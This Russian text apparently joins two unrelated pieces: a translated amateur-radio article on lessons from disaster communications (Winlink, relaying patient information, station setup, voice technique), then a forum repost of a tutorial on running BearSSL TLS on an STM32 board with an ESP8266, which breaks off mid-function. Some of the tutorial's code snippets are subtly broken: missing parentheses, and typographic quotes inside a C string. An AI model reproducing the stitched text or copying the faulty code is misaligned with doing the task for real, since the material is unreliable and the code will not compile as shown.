Если вы радиолюбитель, это означает, что несколько раз в жизни вы проходили испытания. Экзамен должен был проверить наличие у вас познаний и навыков в использовании радио. Постарайтесь припомнить, чему вас учили. Каждый навык становится инструментом в вашем арсенале. Мне и напарнику однажды понадобилась антенна, которой у нас не было. Ретранслятор, через который мы пытались связаться, был на приличном удалении. Мы забрались на самое высокое здание в городе. Но он был недосягаем для наших портативных станций.

Нам пришлось импровизировать. Мы буквально сложили воедино наши знания об антеннах и оказались в силах создать "на лету" вполне работоспособное изделие. Меня до сих пор потрясает, что мы сделали пятиэлементный волновой канал из полотна рулетки. Самое лучшее в нём то, что он работал.

Что для меня не сработало

Winlink

Winlink не работал. Да, через него можно было передавать сообщения. Да, это ценный инструмент для передачи сообщений. У меня не было никаких проблем с программным обеспечением. Проблема в том, что вам нужно перебрать несколько нод, чтобы найти ту, которая вас услышит. Когда вы наконец находите эту ноду, условия прохождения на диапазоне меняются и передача вашего сообщения прерывается. Вам приходится начинать заново. Это не надёжный вид связи и его нельзя считать таковым. Я не пытаюсь умалять заслуг команды Винлинк, которая провернула огромную работу. Они обеспечили нам существенную поддержку. Я думаю, что этот инструмент может быть использован в будущем.

Это может быть очень простым способом доставки сообщений. Вы знаете адрес электронной почты каждого участника вашей группы. Этот адрес записывается как <позывной>winlink.org. Проще быть не может. Это работало бы гораздо лучше, если бы мы развернули ноду поблизости.

Если команда желает использовать это в будущем, я настоятельно рекомендую развернуть местную ноду или использовать для передачи данных одноранговый режим "равный к равному", peer-to-peer. Вероятно, на континентальной части США, где есть куча нод, винлинк будет работать лучше. Он не работает так же хорошо в удалённых от США местах. Поглядите при возможности список нод. Я припоминаю считанные единицы в Мексике, ни одной на Карибах. И совсем мало вне Северной Америки.

Другая проблема в том, что местоположение главной станции и ближней ноды винлинка вряд ли будет совпадать. Ваша антенна, сориентированная на одно, почти наверняка "занулит" другое. Вряд ли приходится ожидать, что в полевых условиях у вас будет поворотная антенна. Едва ли окажется лёгким делом переставлять вашу лучевую антенну каждый раз, как вы пробуете другую ноду. Члены нашей группы, у которых был наибольший успех в работе с винлинком, использовали подключение к интернет.

Актуальные сообщения, которые не пересылаются по цепочке

Ваша задача как оператора любительской связи - не решать, какие сообщения передавать, а какие нет. Не зря радиограммы содержат контрольное число, и пересчитывается каждое слово - для уверенности, что сообщение передано целиком.

Есть лишь несколько случаев, когда вам не разрешено передавать сообщения по цепочке. Коммерческие цели, воспроизведение музыки в эфире, или воспроизведение записанных сообщений. Это всё есть в экзамене на начальную любительскую категорию. Также запрещено использовать нецензурную лексику в эфире. Правила очень ясно определяют, чего вы не можете произносить по радио.

У меня была крупная проблема с тем, что не была передана информация о пациенте в критическом состоянии. Позвольте мне высказаться ясно, чтоб каждый это понял. HIPAA (Правила конфиденциальности в целях защиты информации о физическом и психическом здоровье пациентов) не применимы к любительскому радио. Надеюсь, теперь это все поймут. HIPAA имеют отношение к профессиональным медикам и лицам, получающим вознаграждение за медицинские услуги. Минздрав отдельно оговаривает правила передачи информации о пациенте в аварийных ситуациях.

И более того, организации вроде Красного Креста являются исключением из HIPAA. Красный Крест не нуждается в согласии на передачу информации о пациенте. Это часть соглашения с Соединёнными Штатами, наделяющая их особым правом передавать сведения о пациенте без разрешения.

Даже если вы работаете в организации, подпадающей под действии HIPAA, всё, что вам нужно для передачи информации - согласие пациента. Это не должно быть письменное согласие, устного в этих обстоятельствах вполне достаточно. Если пациент бессознателен, вам не нужно и устного согласия. В медицинском мире есть термин "подразумеваемое согласие". Это согласие, подразумевающее, что здраво рассуждающий человек выразил бы его, если бы мог говорить за себя.

Какую информацию вы можете передавать? Имя пациента, состояние, и местоположение.
Как вы можете передать данную информацию? Любыми возможными средствами. Вы можете использовать полицию, средства массовой информации, и даже любительское радио. Вы также можете этими способами искать членов семьи.
Кого вы можете уведомить о пациенте? Членов семьи и иных соответствующих лиц, которые должны располагать этой информацией. Минздрав США это очень ясно определил. Это не обязательно должен быть близкий член семьи. Руководствуйтесь здравым смыслом. Цель распространения информации о пациенте - воссоединение пациентов и их близких.

Получение обратной связи от главной станции и извещение о том, что помощь по вашему запросу поступит

Каждый раз, когда главная станция получает информацию по ранее озвученным запросам, ей стоило бы передать эту информацию оператору, который озвучивал запрос. Местные жители жаждут обратной связи, касающейся их запроса. Они хотят знать, что их сообщения получены. Связь работает в обе стороны.

Если ресурсы направлены в вашу зону, полезно знать об этом. Эти сведения могут быть распространены по соседству, чтобы была проведена подготовка к прибытию дополнительного персонала и ресурсов.

Операторы-радиолюбители, оставляющие свой пост

Ещё один момент, на котором я хочу заострить внимание - операторы любительского радио, безответственно относящиеся к возложенным на них задачам. Если вы направлены в зону бедствия как добровольцы-радиооператоры, будьте добры не уклоняться. Не решайте вдруг превратиться в госчиновника, занимающегося вопросами ликвидации последствий стихийных бедствий. Не превращайте эту работу в более сложную, чем она должна быть. Оставьте координацию работ на должностным лицам соответствующих организаций. Если вы хотели вести аварийные работы, надо было попроситься на эту роль. Никто силком в аварийные связисты не загонял.

Вам не следует и бросать организацию, с которой вы приехали, ради того, чтоб помогать другой организации. Ваша работа заключается в том, чтобы помогать той организации, которая вас приняла добровольцем. FEMA (штатовская МЧС - прим.перев.) не принимает волонтёров. FEMA работает с организациями, которые принимают волонтёров. Если вы хотите работать на FEMA, пришлите им своё резюме.

Отправка радиооператоров поодиночке

Вам не обязательно нужно держать по два оператора любительского радио на каждой позиции. Но нужно составлять команды хотя бы из двух человек. Если один из напарников не радиооператор, он, тем не менее, способен оказать ценную помощь. Например, помогать принимать сообщения. Оператор может взаимно помогать в задачах напарника. Вашему напарнику может потребоваться связаться со своим начальником в штабе, чтобы прояснить непонятную задачу. Вы можете вполне легально разрешить ему связываться по вашей радиостанции под вашим присмотром.

Вы можете по очереди мониторить поток сообщений. Чтобы слушать радио, не нужно быть лицензированным радиолюбителем.

Отсутствие подходящего оснащения для решения задач

Вы не можете знать, что именно вам потребуется, пока лично не столкнётесь с конкретной ситуацией. Нам говорили, что не нужно брать с собой своё личное оборудование. Я могу понять, из каких побуждений можно рекомендовать оставить своё дома. Могут быть уникальные методы коммуникации, требующие более специфичного оборудования. Если вы воьзмёте с собой свои вещи и они будут повреждены, то вы понесёте ущерб. Также, вам вряд ли хочется нести больший груз, чем нужно. Исключение, которое я считаю уместным, заключается в том, что окажется неудобно использовать незнакомое вам оборудование.

Я знаю, что в нашей работе у нас было оборудование, наилучшим образом подходящее для того, чем, как мы думали, обернётся наша миссия. Я также знаю, что это было самое лучшее, что можно подготовить в такие короткие сроки. Это не значит, что в будущем не нужно стремиться к лучшему.

Я бы рекомендовал всегда брать с собой свою личную портативную радиостанцию. Портативки занимают мало места. Портативки также самые запутанные в программировании с клавиатуры станции. Каждое радио отличается от других. Если бы я знал, какие методы связи мы будем использовать, я бы взял из дома и своё оборудование на КВ.

Позёры

Прежде всего, давайте проясним, о ком мы говорим. (Процитировано по rationalwiki.org.)

Термин используется в добровольческой пожарной службе по отношению к тем, кто присоединяется к пожарным в основном для того, чтобы демонстрировать окружающим, какие они все из себя пожарные, но не имеет ни малейшего интереса к настоящей работе, которой занимаются их коллеги. Также в полицейской сфере по отношению к тем, кто считает свою косвенную причастность к работе правопорядка чем-то неимоверно важным, при этом занимаются, например, охраной магазинов. Также в любительском радио по отношению к тем, кто при аварийных ситуациях таинственным образов вырастает как из-под земли, экипированные в высокие ботинки, оранжевые жилеты и увешанные тактическим радиооборудование, чтобы "предложить свои услуги" и путаться под ногами. Позёры-радиолюбители ошибочно полагают, что их любительская лицензия делает их подарком свыше для спасателей.

Вас послали не для того, чтобы вы руководили. Вас послали для того, чтобы вы работали. Если вы берётесь за руководящую роль, то бросаете свою роль в обеспечении связи. Если вас назначили поддерживать определённую группу, то оставьте руководство им. Не стройте из себя того, кем вы не являетесь. Если вы посланы, чтобы поддерживать благотворительную организацию, не надо расхаживать вокруг в FEMA-овском жилете и проникать на собрания, на которых вам нет нужды присутствовать. Если вы направлены, чтоб содействовать FEMA в установлении связи, то не лезьте на совещания в штабе.

Вы причините больше вреда общему делу, если будете менять свои занятия и пытаться руководить. Людей, спорящих за начальственные полномочия, и так будет более, чем достаточно. Когда у вас сто начальников, у них сто мнений. Информация стопорится и никаких позитивных подвижек не происходит.

Если вы решаете сменить амплуа, вы вредите своей команде, которая в полевых условиях теряет одного человека. В Соединённых Штатах на десять тысяч населения приходится около четырёх радиолюбителей высшей категории. Вы - очень ценный и редкий ресурс. Вам не нужно быть сотрудником по связям с общественностью. Вам не нужно быть координатором FEMA. Вам нужно быть первоклассным радиооператором.

Подобные события привлекают самых разных людей. Часто можно встретить людей, которые подают свои прежние карьерные достижения как повод получить больше полномочий в аварийной ситуации. Если вы работали диспетчером по безопасности в университете, это не значит, что у вас 15 лет правоохранительной практики. Если вы трудились на подряде Минобороны, не надо рассказывать окружающим, что у вас тесные многолетние контакты с Пентагоном и у вас глубокое понимание военной логистики и тактики. Чертовски ясно, что не нужно одевать что-либо, дающее иллюзию вашей причастности к FEMA или другой госслужбе. Можете смеяться, но я рассказываю о том, что действительно происходило.

Я никогда прежде не встречал людей, с которыми мне пришлось работать в аварийных условиях. Я не был уверен в навыках, о которых они заявляли. Единственное, что я мог делать - это доверять их мнениям и советам. Не подрывайте такого доверия, будучи пойманными на лжи.

Если вы позёр, вам следует помнить, что вы не знаете, кому рассказываете свои басни. О своих военных приключениях вы, может статься, рассказываете кому-то, кто служил в армейской разведке. Если вы заявляете о своей причастности к FEMA или правоохранительным органам, вы вступаете на скользкую дорожку, по которой можете прикатиться прямо за решётку.

Также следует помнить, что ваша прежняя должность не имеет никакого отношения к текущей обстановке. Вы можете быть доцентом на филфаке, но это весьма далеко от поддержания аварийной радиосвязи. Не позволяйте вашим титулам и должностям затуманить вам голову относительно того, в чём заключается ваша текущая роль.

Предложения по главной станции

Главная станция может нуждаться в большем количестве операторов, чем полевые станции. Главная станция должна работать 24 часа в сутки, если у вас в поле работают операторы. Вам потребуется несколько операторов [на главной станции], чтобы справиться с этой задачей. Если вы ввели смену дежурств, всегда проводите личную передачу новой смене сведений о том, что произошло у старой. Разумно будет вести журнал для обзора проведённых связей и позывных корреспондентов.

Главная станция может нуждаться в нескольких трансиверах. Потребуется хотя бы один отдельный УКВ-трансивер, если вы используете этот вид связи. Если у вас есть команды на западе и команды на востоке, использующие разные ретрансляторы, вам потребуются отдельные станции, чтобы общаться с обеими группами. Вам даже потребуется третье радио на УКВ для работы симплексом. Если вы используете цифровые режимы, одну КВ станцию нужно выделить под эту задачу. По возможности, главная станция должна располагаться в месте с бесперебойным электропитанием. Также очень полезно, если место её размещения оснащено телефонной связью и подключением к сети Интернет. Главная станция не должна размещаться в средоточии аварийной ситуации. Она должна находиться в месте, откуда может координировать поток сообщений и передавать информацию относительно аварийных работ.

Ещё одно соображение для главной станции - не полагаться полностью на один вид связи для передачи жизненно важных сообщений. Если вы отправляете сообщения цифровыми режимами, вы можете не знать о проблемах, возникших у полевых станций в попытке получить эту информацию. Так могут появиться непринятые сообщения, хоть и очень важные. Что подводит нас к следующему соображению.

Настоятельно рекомендуется составление расписания для проведения обязательных ежедневных радиосетей. Возможно, чаще раза в день, если задачи этого требуют и позволяют. Это может оказаться единственным способом убедиться, что все в курсе дел. Кроме того, у вас появляется мгновенный отклик на тактические решения и назначения. Коммуникации - это улица с двусторонним движением. Вы не можете ожидать от подчинённых выполнения распоряжений, если вы не имеете представления об их текущей обстановке или обязательствах.

Используйте помощь местных радиолюбителей

Есть правило, которое можно обратить себе на пользу. Все радиолюбители законом обязаны указывать свой действительный почтовый адрес, таким образом их можно отыскать. Вы можете найти адрес большинства радиооператоров, просто указав их позывные в интернет-поисковике. Коллбуки имеют функцию поиска по адресу. Мне довелось использовать этот метод, чтобы найти помощь в двух разных местах вне Соединённых Штатов. Я буквально пришёл к ним домой и попросил о помощи. Они были рады помочь. Один из них даже одолжил мобильную УКВ-станцию на всё время нашего участия в аварийных работах.

Просвещайте местных о любительском радио

Старайтесь рассказать о радиолюбительстве всем, кто готов слушать. Возьмите с собой электронную версию руководства для подготовки к сдаче экзамена на начальную или следующую за ней категорию, которую вы сможете скопировать желающим. Если вы направлены в зону бедствия, есть вероятность, что местное сообщество не располагало надёжным способом связи. Выступите посланником увлечения. Вы не только подталкиваете людей разделить хобби, вы создаёте для сообществ возможность лучше подготовиться к бедствиям.

Одно местечко, куда я попал, располагало трансивером Icom 706 Mark II в состоянии "муха не сидела", согласующим устройством и блоком питания к нему. Никто в целом городке не знал даже, как это включить. Я подумал, что это была напрасная трата государственных денег, что такой мощный инструмент был предоставлен, а обучения не было проведено. Это место не имело контакта с окружающим миром в течение нескольких дней после опустошительной бури. Ни один человек не подумал, что под рукой есть надёжный инструмент для связи.

Получение позывного начальной и следующей категории, на самом деле, не занимает много усилий. Оба экзамена можно пройти через несколько дней чтения и изучения. Я приводил шестерых скаутов и двух взрослых скаутских вожатых на обучение на начальную категорию в моём родном городе. Обучение занимало одну полную субботу и половину следующей субботы. Из всех только один скаут не сдал экзамен. Один из взрослых вожатых сдал экзамен на следующую категорию. И это всё с нулевыми знаниями о радио в прошлом. Самому старшему скауту на тот момент было 13 лет.

В обучении используйте метод "объяснить, показать, направить, поощрить". Это проверенный и верный способ научить новому навыку. Позвольте вашим курсантам прикоснуться к радио и практиковаться, используя органы управления.

Если у вас есть возможность поделиться навыками с кем-то, то воспользуйтесь ею.

Дайте возможность радиолюбителям со стороны помочь вам

Если вы в зоне крупного бедствия, и весь поток сообщений идёт на одной частоте, внешний мир это заметит. Радиолюбители любопытны. Вы можете обратить это себе на пользу. Вам может потребоваться помочь в техническом вопросе. Вы можете быть одним из тех новых обладателей высшей категории, не знающих телеграфа и не способных принять аварийное сообщение морзянкой. Кто-то может взывать о помощи на незнакомом вам языке. То, что вы ведёте аварийную связь, не значит, что эфир принадлежит только вам. Если кто-то предлагает вам помощь, не отклоняйте предложения. Также, если кто-то извне мешает связи, мягко попросите их перестать. Будьте вежливы, доброе слово и кошке приятно.

Если вы слышите со стороны

Если даже вы непосредственно не участвуете в аварийной связи, вы всё ещё можете помочь. Делайте пометки о передаваемых сообщениях. Это может быть прекрасная возможность обучения для вас. Если вы знакомы с любительскими диапазонами, то знаете, что иногда невозможно услышать человека в 50 милях от вас, зато прекрасно слышно человека за тысячу миль от вас. Вам может выпасть важная роль в передаче сообщений через посредника.

Когда я участвовал в аварийных работах, некто, не связанный с нашими задачами, попросил помощи. Я прервал работу чужой сети, чтобы они посредничали в передаче срочного сообщения. Радиооператор (KC7FPF), находившийся от нас за две тысячи миль, услышал, как я говорю "брэйк", и смог дозвониться семье, чтобы сообщить о состоянии их родственника. Без его помощи могли пройти дни, пока они узнали бы о судьбе близкого человека.

Также, не раз было так, что я вызывал главную станцию, а ответом мне было молчание. Гораздо легче становилось оттого, что я мог убедиться - кто-то ещё меня слышит. Так я мог узнать, что это не у меня проблема с оборудованием.

Единственной вещью, что раздражало меня в операторах со стороны - это когда кто-то настраивал антенну прямо на частоте, которую мы использовали. Нужно всегда уделить несколько секунд и послушать, не разговаривает ли кто-то на частоте, на которой вы передаёте. Это обычная вежливость, которую мы все должны проявлять. У нас была та же проблема в нашей команде. Могу вспомнить по меньшей мере один случай, когда передавалось аварийное сообщение телеграфом, и кто-то из нашей группы влез на частоту и принялся крякать.

Это не Полевой День

Вы не возьмёте с собой свой туристический трейлер. Аварийная связь в полевых условиях - не тот случай, когда вы носите шлёпанцы и жарите сосиски в парке. Вы не будете валяться в шезлонге с коктейлем. Помните это, готовясь к отправке.

Одно из ключевых отличий аварийной ситуации от полевого дня - ваша одежда. Есть смысл носить на своей шляпе или униформе указание своей должности или организации, которую вы представляете. Для стороннего наблюдателя ваш позывной не имеет никакого смысла. Общественность не понимает, что такое "RE4XYZ", ей гораздо понятнее "аварийная связь" или "доброволец МЧС".

Лично я никогда не одевал униформу. У меня была карточка-удостоверение, которую я постоянно носил на себе. Я не управлял дорожным движением в темноте, поэтому мне не нужен был оранжевый жилет. Когда я работал в чужой стране, мне было важнее не привлекать лишнего внимания.

Что я хотел бы испробовать

Если что мне и хотелось испытать, то это другой вид цифровой связи. Я знаю, что есть возможность послать электронную почту через APRS. Я также знаю, что эти сообщения должны быть короткими. Преимущество, которое я усматриваю в этом виде связи - это использование только одной частоты. Вместо того, чтобы менять частоты каждый раз при подключении к другой ноде, вы просто отправляете сообщение на одной частоте и видите, кто вас слышит. Если режим FT8 может декодировать двадцать сигналов на одном участке диапазона, то я не пойму, почему нельзя ввести формат электронной почты, который бы справлялся с той же задачей. После отправки сообщения оно может ожидать в буфере, пока получатель не сможет загрузить его.

Работа с микрофоном

Большинство современных микрофонов чрезвычайно чувствительны и должны удерживаться или размещаться на расстоянии более сантиметра от ваших губ, а говорить в них нужно обычным голосом, не повышая его. Правильная методика сокращает время работы на передачу и позволяет скорее освободить частоту для других пользователей. Опыт показывает, что четыре наиболее важных фактора голосовых режимов - громкость, скорость, произношение и структура.

Громкость: уровень громкости зависит от ряда факторов, среди которых прохождение, тип излучения, и тип микрофона. Простой совет: говорите обычным тоном.

Скорость: говорите в темпе, который звучит естественно, и позволяет принимающему оператору записать сообщение.

Произношение: для хорошего приёма нужно ясно и раздельно произносить все звуки, слоги и слова. Слова неясно произнесённые могут быть поняты превратно. Все слова произносите широко распространённым образом.

Структура: хороший приём голосовых сообщений требует не слишком медленного, не слишком быстрого темпа и строгого внимания к произношению. Его следует передавать мысль за мыслью, с соответствующими перерывами между словами, образующими отдельные мысли. Чтобы обеспечить понимание, передача по радио должна быть схожа с разговорной речью.

Другие соображения относительно голосовой связи

При передачу всегда вызывайте станцию, до которой вы хотите дозваться, называя её позывной прежде своего. Как пример, "Павел Один Роман Анна Татьяна, здесь Роман Ноль Борис Ольга Татьяна. Пожалуйста, приготовьтесь принять аварийное сообщение".

Таким способом вы поможете человеку, к которому обращаетесь, выслушать остаток сообщения. Если вы назовёте сперва свой позывной, собеседник может не понять, что вы обращаетесь именно к нему. Если вы назовёте его позывной в конце своего сообщения, ему, скорее всего, придётся просить вас повторить сообщение второй раз, чтобы в этот раз он к нему прислушивался.

Также предпочтительно делать паузы в длинных разговорах. Может быть, кому-то с аварийным сообщением нужно включиться.

(c) Джереми Дугерти Позывной: NSØS

BearSSL и STM32. Как реализовать шифрование для самодельного гаджета
ID: 676535aeb4103b69df3736ad
Thread ID: 27944
Created: 2019-02-18T15:57:07+0000
Last Post: 2019-02-18T16:53:48+0000
Author: pablo
Replies: 1 Views: 2K

BearSSL и STM32. Как реализовать шифрование для самодельного гаджета

В этой статье мы сделаем свой девайс, запустив шифрованное соединение TLS на микроконтроллере STM32.

Железо

Нам понадобятся официальная оценочная плата Discovery компании STMicroelectronics и модуль Wi-Fi на ESP8266. Последних существует огромное количество, подойдет практически любой. Главное, чтобы там были выводы RX/TX UART и стандартная прошивка для работы с АТ-командами. Я использую отечественный Troyka (модуль компании «Амперка») просто потому, что он у меня уже есть.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F02%2F208368%2Ffirst.jpg&hash=6c8d2d540e7aab420164b9131efab016)
Главные герои статьи

F746G Discovery — это практически Ferrari в мире хобби-электроники. Мощный микроконтроллер (Cortex-M7, 216 МГц) тут сочетается с микросхемой SDRAM внушительных объемов (целых 8 Мбайт) и полезной периферией: экран 480 × 272 с 24-битным цветом, интерфейс SDIO для карт памяти, разъемы аудио и Ethernet.

Я не буду перечислять все доступные возможности этой платы — ты можешь найти подробности на сайте производителя STMicroelectronics. Все то, что раньше приходилось добавлять к Arduino с помощью дочерних плат расширения или модулей, тут доступно «из коробки». Да, цена соответствующая — порядка 6500 рублей. Но когда это спортивные автомобили были для простого народа?

F746G Discovery — не единственный вариант демоплаты для этого проекта. Ты можешь с таким же успехом использовать, например, отладочную плату из серии Nucleo: F767ZI Nucleo. Для нее тоже есть поддержка в пакете STM32duino, и она гораздо дешевле — около 3000 рублей. Такого разнообразия периферии у нее, правда, нет.
Полноценно нагрузить все компоненты и использовать возможности F746 Discovery на сто процентов в одном проекте непросто. Сегодня с помощью библиотеки bearSSL мы протестируем только вычислительную мощь ядра Cortex-M7 в прикладных задачах криптографии.

Программирование под STM32 предполагает внимательное изучение сопроводительной документации. Сегодня я постараюсь осветить все подробности и интересности, которые встретятся нам на пути, но в дальнейшем все же настоятельно рекомендую обратиться к следующим материалам (все ссылки — на PDF):

Настраиваем IDE

В качестве среды разработки я выбрал Arduino IDE. Проект открытый, и вокруг него успело сложиться большое сообщество, так что это хороший выбор как для новичка, так и для продвинутого пользователя. Кроме того, этот выбор позволит нам воспользоваться уже готовой кодовой базой. Таким образом, мы пропустим тривиальную настройку периферии и быстро перейдем к вещам более интересным.

Изначально в Arduino IDE доступны только платы на AVR-микроконтроллерах, ни о каком ARM она и не слышала. Чтобы включить поддержку плат STM32duino, нужно перейти в раздел Arduino → Preferences и добавить дополнительную ссылку. После этого в «Менеджере плат» ты сможешь скачать все необходимые файлы пакета.

Во время установки опция с STM32duino может и не появиться в списке доступных для установки расширений. В этом случае проверь разрешения для Arduino IDE на работу по сети или добавь в список исключений для антивируса.

Ищем пропавший Serial

Если ты еще не проверил корректность работы компилятора и самой платы на парочке простых примеров из числа встроенных, то сейчас самое время. Потому что мы переходим к правке исходных файлов по адресу «Библиотеки → Arduino15 → packages → STM32 → hardware → stm32» (советую сделать копию папки, ты знаешь, как оно бывает). Все дело в том, что проект STM32duino поддерживается энтузиастами (хотя сейчас им заинтересовалась сама STMicroelectronics) и, как следствие, часть функций Arduino реализована, а часть почему-то оказалась забыта.

Например, по умолчанию отсутствует последовательный порт (Serial) на выводах D0 и D1 разъема Arduino. Если ты знаком с оригинальными итальянскими платами (и их многочисленными китайскими клонами), то знаешь, что этот порт связан с разъемом USB через UART — USB-преобразователь в основном используется для общения с компьютером и при перепрошивке флеш-памяти. На Discovery все несколько по-другому.

Микроконтроллер F746NGH6 прошивается с помощью встроенного программатора ST- Link/V2-1 (небольшая микросхема возле miniUSB-порта). Он же выступает в качестве преобразователя интерфейсов при отправке данных на ПК. Но все это делается по другому UART — вовсе не тому, который выведен на плате на разъем Arduino (да, у контроллеров ST богатая периферия, об этом следовало сказать заранее).

Если в прошлом ты использовал плату Arduino Leonardo, то можешь предположить, что для этого интерфейса используется объект Serial1. Но нет! В проекте STM32duino нумерация программных портов Serial соответствует номеру аппаратного периферийного блока UART, и поэтому в любом коде для нашей Discovery Serial и Serial1 — это один и тот же объект (используется переопределение).

Как тогда обращаться к UART на разъеме Arduino? Изучив таблицу 4 на странице 23 документации демоплаты, ты узнаешь, что это RX/TX-выводы UART6.

Впрочем, одного лишь этого знания будет недостаточно: компилятор сообщит, что Serial6 не определен. Чтобы добавить порт UART для работы с ESP8266, нужно отредактировать конфигурационные файлы самой платы — они располагаются по адресу stm32 → 1.4.0 → variants → DISCO_746NG. В самих файлах нет ни намека на возможное решение проблемы, но тщательное изучение исходников проекта STM32duino (папка cores на уровне с variants) должно навести на определенные идеи. На самом деле нам достаточно добавить несколько строчек в файл variants.h:

Code:Copy to clipboard

#define ENABLE_HWSERIAL6        1
#define PIN_SERIAL6_RX          PC7
#define PIN_SERIAL6_TX          PC6

Почему их нельзя было оставить в файле закомментированными, чтобы пользователи не тратили время на знакомство с нюансами реализации Arduino-окружения на платах от ST, — это для меня загадка. Однако теперь объект Serial6 станет доступен в нашем коде, и мы наконец сможем наладить взаимодействие с модулем Wi-Fi.

Следующие шаги опциональные, однако, если ты хочешь получить максимум быстродействия от связки F746 и ESP8266, советую их не пропускать. Тем более что после них с настройкой окружения будет наконец покончено.

Дополнительно

Нам нужно настроить размеры внутренних буферов класса HardwareSerial на прием и передачу информации по интерфейсу UART. По умолчанию размеры подобраны для плат Arduino с микроконтроллерами AVR, и это может стать проблемой при передаче больших массивов данных (как раз наш случай). В папке cores → arduino открой файл HardwareSerial.h и найди в нем такие строчки:

Code:Copy to clipboard

#define SERIAL_TX_BUFFER_SIZE    64
#define SERIAL_RX_BUFFER_SIZE    64

Это размер буферов в байтах. Исправь 64 на 512, разрядность переменной-индекса при этом будет скорректирована автоматически. Вообще говоря, размеры буферов не обязаны совпадать, и, если в твоем проекте памяти у микроконтроллера остается впритык, стоит увеличивать только буфер RX. Также обрати внимание, что эти изменения затронут все твои скетчи для плат STM32duino (но не для Arduino AVR или ARM).

Теперь осталось только ускорить UART. Изначально все модули ESP8266 со стандартной прошивкой для работы с АТ-командами настроены на скорость 115 200 бод. Если ты используешь программный порт SoftwareSerial, скорость рекомендуют уменьшить до 9600. В нашем случае, напротив, разумней проводить прием и передачу быстрее, контроллер справится, а время терять незачем. Подключи модуль Wi-Fi к плате и залей следующий скетч:

Code:Copy to clipboard

void setup() {
    Serial.begin(9600);
    Serial6.begin(115200);
}

void loop {
    if (Serial.available()) {
        Serial6.write(Serial.read());
    }
    if (Serial6.available() {
        Serial.write(Serial6.read());
    }
}

С помощью «Монитора порта» в Arduino IDE ты сможешь изменить настройки UART на ESP8266, используя плату Discovery в качестве ретранслятора (если у тебя есть отдельный преобразователь USB — UART, то все еще проще). Убедись, что конец строки в терминале — это NL & CR. Набери АТ-команду AT+UART_DEF=1000000,8,1,0,0. Это установит скорость работы в 1 Мбод, длину 8 бит и один стартовый бит вначале. Все, пора переходить к главному!

AT-команды

Порой бывает удобно проверить состояние модуля Wi-Fi через «Монитор порта» простыми AT-командами, не используя библиотечные функции. Вот самые полезные:

Остальные команды ты найдешь в документации.

SSL/TLS — самое необходимое

В этой статье я не буду подробно останавливаться на протоколах SSL/TLS по трем причинам. Первая: вполне вероятно, ты знаешь их лучше меня. Вторая: они доступно описаны в документах RFC (RFC5246 и RFC6101 для TLS 1.2 и SSL 3.0 соответственно). И третья — порог вхождения там невелик, и тебя вряд ли ждут большие затруднения.

По сути, нужно знать следующее: код TLS работает непосредственно между приложением и уже готовым TCP-соединением, обеспечивая приватность и конфиденциальность передачи информации между сервером и клиентом (ну и еще, как плюс, успокаивающе-зеленый замочек в браузере).

В нашем примере мы попробуем получить у какого-нибудь сервера в интернете страничку по HTTPS с нашей демоплаты на STM32. Случай с простым HTTP-запросом особого интереса не представляет и хорошо освещен в интернете, как в русскоязычном, так и в англоязычном сегменте. TCP у нас уже есть (благодаря ESP8266 и рабочему Serial6), какого-то особо сложного приложения пока не предвидится, так что вся задача сводится к обеспечению корректной работы библиотеки. Осталось выбрать, какой именно.

Зоопарк диких зверей

Если ты до этого когда-нибудь интересовался доступными вариантами библиотек SSL/TLS, то не мог не слышать о проекте OpenSSL. Это весьма распространенное решение, но для встраиваемых систем, с их относительно скромными ресурсами, желательно найти библиотеку с хорошей портативностью и небольшим объемом итогового кода.

Зачастую для коммерческого использования разработчики выбирают wolfSSL — она предназначена специально для мобильных устройств. Это библиотека с открытым исходным кодом, лицензированным по GPL (есть и коммерческая лицензия), собственным сайтом, форумом и даже некоторой поддержкой со стороны авторов.

Плюсом библиотеки можно считать уже готовые наборы настроек в заголовочных файлах, ориентированные на различные целевые платформы. Однако даже при поверхностном знакомстве обилие определений в wolfSSL и чрезмерное использование препроцессора на начальных этапах осложняет портирование и конфигурацию библиотеки в каждом конкретном случае, если он заранее не предусмотрен авторами библиотеки.

Поэтому, подробнее изучив альтернативы, я обратил внимание на библиотеку bearSSL. Это сравнительно молодой проект, который с 2016 года развивается и поддерживается усилиями одного программиста. При этом код очень прозрачно организован, хорошо прокомментирован как внутри самих исходных файлов, так и на сайте.

Может показаться, что документации меньше в сравнении c wolfSSL, но при этом ее достаточно, и она не отвлекает от главного. Исходный код также открыт, а условия лицензии даже мягче — это MIT, что в некоторых случаях может быть дополнительным аргументом.

И хотя автор говорит о статусе бета-версии, библиотека полноценно поддерживает стандарт TLS 1.2 (wolfSSL уже доступна с TLS 1.3, но официально RFC8446 был принят только в августе 2018-го).

Примечательно, что работа с этими библиотеками во многом очень схожа (и в итоге были реализованы две рабочие версии прошивки для платы), я остановил выбор на bearSSL.

Приручаем библиотеку

Для работы bearSSL требуется платформозависимая реализация трех вещей: текущего времени, пула случайных чисел и базовых функций ввода-вывода. Их придется написать самостоятельно, но это не займет много времени. Наш код будет взаимодействовать с периферией платы и микроконтроллера, поэтому тут как нельзя кстати пригодятся ссылки, которые я давал в начале статьи.

Дата и время

Функция текущего системного времени — важный компонент при проверке сертификата подлинности сайта, с которым мы собираемся установить защищенное соединение. В больших компьютерах этим занимается операционная система и пользователю достаточно добавить в свой код подходящие вызовы.

Библиотека bearSSL зависит от стандартной функции _gettimeofday(). Если ты попытаешься скомпилировать проект сейчас, то компоновщик сообщит, что этот символ не определен. Оно и понятно: сразу после подачи питания на микроконтроллер нет какого-то общего способа узнать текущее системное время (тем более в отсутствие ОС). Но у нас есть модуль Wi-Fi, поэтому предлагаю воспользоваться им и сделать запрос к серверу точного времени.

Code:Copy to clipboard

#include "ESP8266.h" 
#define PORT           (123)
#define BUFFER_SIZE    (48)
#define TIME1970       ((uint32_t)2208988800) /* seconds between 1900 — 1970 */

extern ESP8266 *wifi; /* should be defined in main */

int _gettimeofday(struct timeval *tv, void *tzvp ) {
    /* prepare message */
    uint8_t buffer[BUFFER_SIZE];
    memset(buffer, 0, BUFFER_SIZE);
    buffer[0] = 0xE3;
    buffer[2] = 0x06;
    buffer[3] = 0xEC;
    buffer[12] = 0x31;
    buffer[13] = 0x4E;
    buffer[14] = 0x31;
    buffer[15] = 0x34;

    /* connect to server */
    wifi -> registerUDP(«time.nist.gov», PORT);
    wifi -> send(buffer, BUFFER_SIZE);
    wifi -> recv(buffer, BUFFER_SIZE, 1000);
    wifi -> unregisterUDP();

    /* calculate the result */
